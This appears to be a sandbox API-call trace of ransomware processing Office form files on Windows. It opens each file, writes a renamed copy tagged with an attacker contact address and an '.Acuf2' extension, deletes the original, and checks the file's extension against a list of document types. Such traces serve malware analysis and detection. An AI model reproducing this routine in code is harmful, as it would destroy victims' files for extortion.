	[0275.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0275.303] GetLastError () returned 0x0
	[0275.303] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x436, lpOverlapped=0x0) returned 1
	[0275.305] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x440, lpOverlapped=0x0) returned 1
	[0275.306] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.306] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0275.306] SetEndOfFile (hFile=0x29c) returned 1
	[0275.306] CloseHandle (hObject=0x29c) returned 1
	[0275.306] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.306] SetEndOfFile (hFile=0x36c) returned 1
	[0275.308] CloseHandle (hObject=0x36c) returned 1
	[0275.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico")) returned 1
	[0275.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64
	[0275.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64
	[0275.309] lstrlenW (lpString=".doc") returned 4
	[0275.309] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1
	[0275.309] lstrlenW (lpString=".docx") returned 5
	[0275.309] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1
	[0275.309] lstrlenW (lpString=".pdf") returned 4
	[0275.309] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1
	[0275.309] lstrlenW (lpString=".xls") returned 4
	[0275.309] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1
	[0275.309] lstrlenW (lpString=".xlsx") returned 5
	[0275.309] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1
	[0275.309] lstrlenW (lpString=".ppt") returned 4
	[0275.309] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1
	[0275.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64
	[0275.309] lstrlenW (lpString=".zip") returned 4
	[0275.309] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1
	[0275.309] lstrlenW (lpString=".rar") returned 4
	[0275.309] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1
	[0275.309] lstrlenW (lpString=".bz2") returned 4
	[0275.309] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1
	[0275.309] lstrlenW (lpString=".7z") returned 3
	[0275.309] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1
	[0275.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64
	[0275.309] lstrlenW (lpString=".dbf") returned 4
	[0275.309] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1
	[0275.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64
	[0275.309] lstrlenW (lpString=".1cd") returned 4
	[0275.309] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1
	[0275.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64
	[0275.309] lstrlenW (lpString=".jpg") returned 4
	[0275.309] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1
	[0275.357] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=338) returned 1
	[0275.357] CloseHandle (hObject=0x36c) returned 1
	[0275.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg")) returned 0x20
	[0275.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0275.358] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.358] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0275.358] GetLastError () returned 0x0
	[0275.358] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x152, lpOverlapped=0x0) returned 1
	[0275.359] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x160, lpOverlapped=0x0) returned 1
	[0275.360] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.360] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0275.360] SetEndOfFile (hFile=0x29c) returned 1
	[0275.360] CloseHandle (hObject=0x29c) returned 1
	[0275.360] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.360] SetEndOfFile (hFile=0x36c) returned 1
	[0275.362] CloseHandle (hObject=0x36c) returned 1
	[0275.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.363] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg")) returned 1
	[0275.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64
	[0275.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64
	[0275.363] lstrlenW (lpString=".doc") returned 4
	[0275.363] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1
	[0275.363] lstrlenW (lpString=".docx") returned 5
	[0275.363] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1
	[0275.363] lstrlenW (lpString=".pdf") returned 4
	[0275.363] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1
	[0275.363] lstrlenW (lpString=".xls") returned 4
	[0275.363] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1
	[0275.363] lstrlenW (lpString=".xlsx") returned 5
	[0275.363] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1
	[0275.363] lstrlenW (lpString=".ppt") returned 4
	[0275.363] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1
	[0275.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64
	[0275.363] lstrlenW (lpString=".zip") returned 4
	[0275.363] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1
	[0275.363] lstrlenW (lpString=".rar") returned 4
	[0275.364] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1
	[0275.364] lstrlenW (lpString=".bz2") returned 4
	[0275.364] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1
	[0275.364] lstrlenW (lpString=".7z") returned 3
	[0275.364] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1
	[0275.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64
	[0275.364] lstrlenW (lpString=".dbf") returned 4
	[0275.364] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1
	[0275.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64
	[0275.364] lstrlenW (lpString=".1cd") returned 4
	[0275.364] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1
	[0275.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG") returned 64
	[0275.364] lstrlenW (lpString=".jpg") returned 4
	[0275.364] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1
	[0275.364] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=2998) returned 1
	[0275.364] CloseHandle (hObject=0x36c) returned 1
	[0275.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico")) returned 0x20
	[0275.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0275.365] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.365] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0275.365] GetLastError () returned 0x0
	[0275.365] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xbb6, lpOverlapped=0x0) returned 1
	[0275.367] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xbc0, lpOverlapped=0x0) returned 1
	[0275.367] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.367] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.367] SetEndOfFile (hFile=0x29c) returned 1
	[0275.367] CloseHandle (hObject=0x29c) returned 1
	[0275.367] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.368] SetEndOfFile (hFile=0x36c) returned 1
	[0275.369] CloseHandle (hObject=0x36c) returned 1
	[0275.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico")) returned 1
	[0275.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66
	[0275.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66
	[0275.370] lstrlenW (lpString=".doc") returned 4
	[0275.370] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1
	[0275.370] lstrlenW (lpString=".docx") returned 5
	[0275.370] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1
	[0275.370] lstrlenW (lpString=".pdf") returned 4
	[0275.370] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1
	[0275.370] lstrlenW (lpString=".xls") returned 4
	[0275.370] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1
	[0275.370] lstrlenW (lpString=".xlsx") returned 5
	[0275.370] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1
	[0275.370] lstrlenW (lpString=".ppt") returned 4
	[0275.370] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1
	[0275.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66
	[0275.370] lstrlenW (lpString=".zip") returned 4
	[0275.370] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1
	[0275.370] lstrlenW (lpString=".rar") returned 4
	[0275.370] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1
	[0275.370] lstrlenW (lpString=".bz2") returned 4
	[0275.370] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1
	[0275.370] lstrlenW (lpString=".7z") returned 3
	[0275.370] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1
	[0275.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66
	[0275.371] lstrlenW (lpString=".dbf") returned 4
	[0275.371] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1
	[0275.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66
	[0275.371] lstrlenW (lpString=".1cd") returned 4
	[0275.371] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1
	[0275.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66
	[0275.371] lstrlenW (lpString=".jpg") returned 4
	[0275.371] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1
	[0275.371] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=783) returned 1
	[0275.371] CloseHandle (hObject=0x36c) returned 1
	[0275.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg")) returned 0x20
	[0275.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0275.372] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.372] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0275.372] GetLastError () returned 0x0
	[0275.372] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x30f, lpOverlapped=0x0) returned 1
	[0275.374] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x310, lpOverlapped=0x0) returned 1
	[0275.375] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.375] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0275.375] SetEndOfFile (hFile=0x29c) returned 1
	[0275.375] CloseHandle (hObject=0x29c) returned 1
	[0275.375] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.375] SetEndOfFile (hFile=0x36c) returned 1
	[0275.377] CloseHandle (hObject=0x36c) returned 1
	[0275.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg")) returned 1
	[0275.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65
	[0275.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65
	[0275.377] lstrlenW (lpString=".doc") returned 4
	[0275.377] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1
	[0275.377] lstrlenW (lpString=".docx") returned 5
	[0275.377] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1
	[0275.377] lstrlenW (lpString=".pdf") returned 4
	[0275.378] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1
	[0275.378] lstrlenW (lpString=".xls") returned 4
	[0275.378] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1
	[0275.378] lstrlenW (lpString=".xlsx") returned 5
	[0275.378] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1
	[0275.378] lstrlenW (lpString=".ppt") returned 4
	[0275.378] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1
	[0275.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65
	[0275.378] lstrlenW (lpString=".zip") returned 4
	[0275.378] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1
	[0275.378] lstrlenW (lpString=".rar") returned 4
	[0275.378] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1
	[0275.378] lstrlenW (lpString=".bz2") returned 4
	[0275.378] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1
	[0275.378] lstrlenW (lpString=".7z") returned 3
	[0275.378] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1
	[0275.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65
	[0275.378] lstrlenW (lpString=".dbf") returned 4
	[0275.378] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1
	[0275.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65
	[0275.378] lstrlenW (lpString=".1cd") returned 4
	[0275.378] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1
	[0275.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG") returned 65
	[0275.378] lstrlenW (lpString=".jpg") returned 4
	[0275.378] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1
	[0275.379] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=1078) returned 1
	[0275.379] CloseHandle (hObject=0x36c) returned 1
	[0275.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico")) returned 0x20
	[0275.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0275.379] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.379] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0275.379] GetLastError () returned 0x0
	[0275.379] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x436, lpOverlapped=0x0) returned 1
	[0275.682] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x440, lpOverlapped=0x0) returned 1
	[0275.683] ReadFile (in: hFile=0x36c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.683] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.683] SetEndOfFile (hFile=0x29c) returned 1
	[0277.008] CloseHandle (hObject=0x29c) returned 1
	[0277.242] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.242] SetEndOfFile (hFile=0x36c) returned 1
	[0277.392] CloseHandle (hObject=0x36c) returned 1
	[0277.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0277.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico")) returned 1
	[0277.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66
	[0277.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66
	[0277.729] lstrlenW (lpString=".doc") returned 4
	[0277.729] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1
	[0277.729] lstrlenW (lpString=".docx") returned 5
	[0277.729] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1
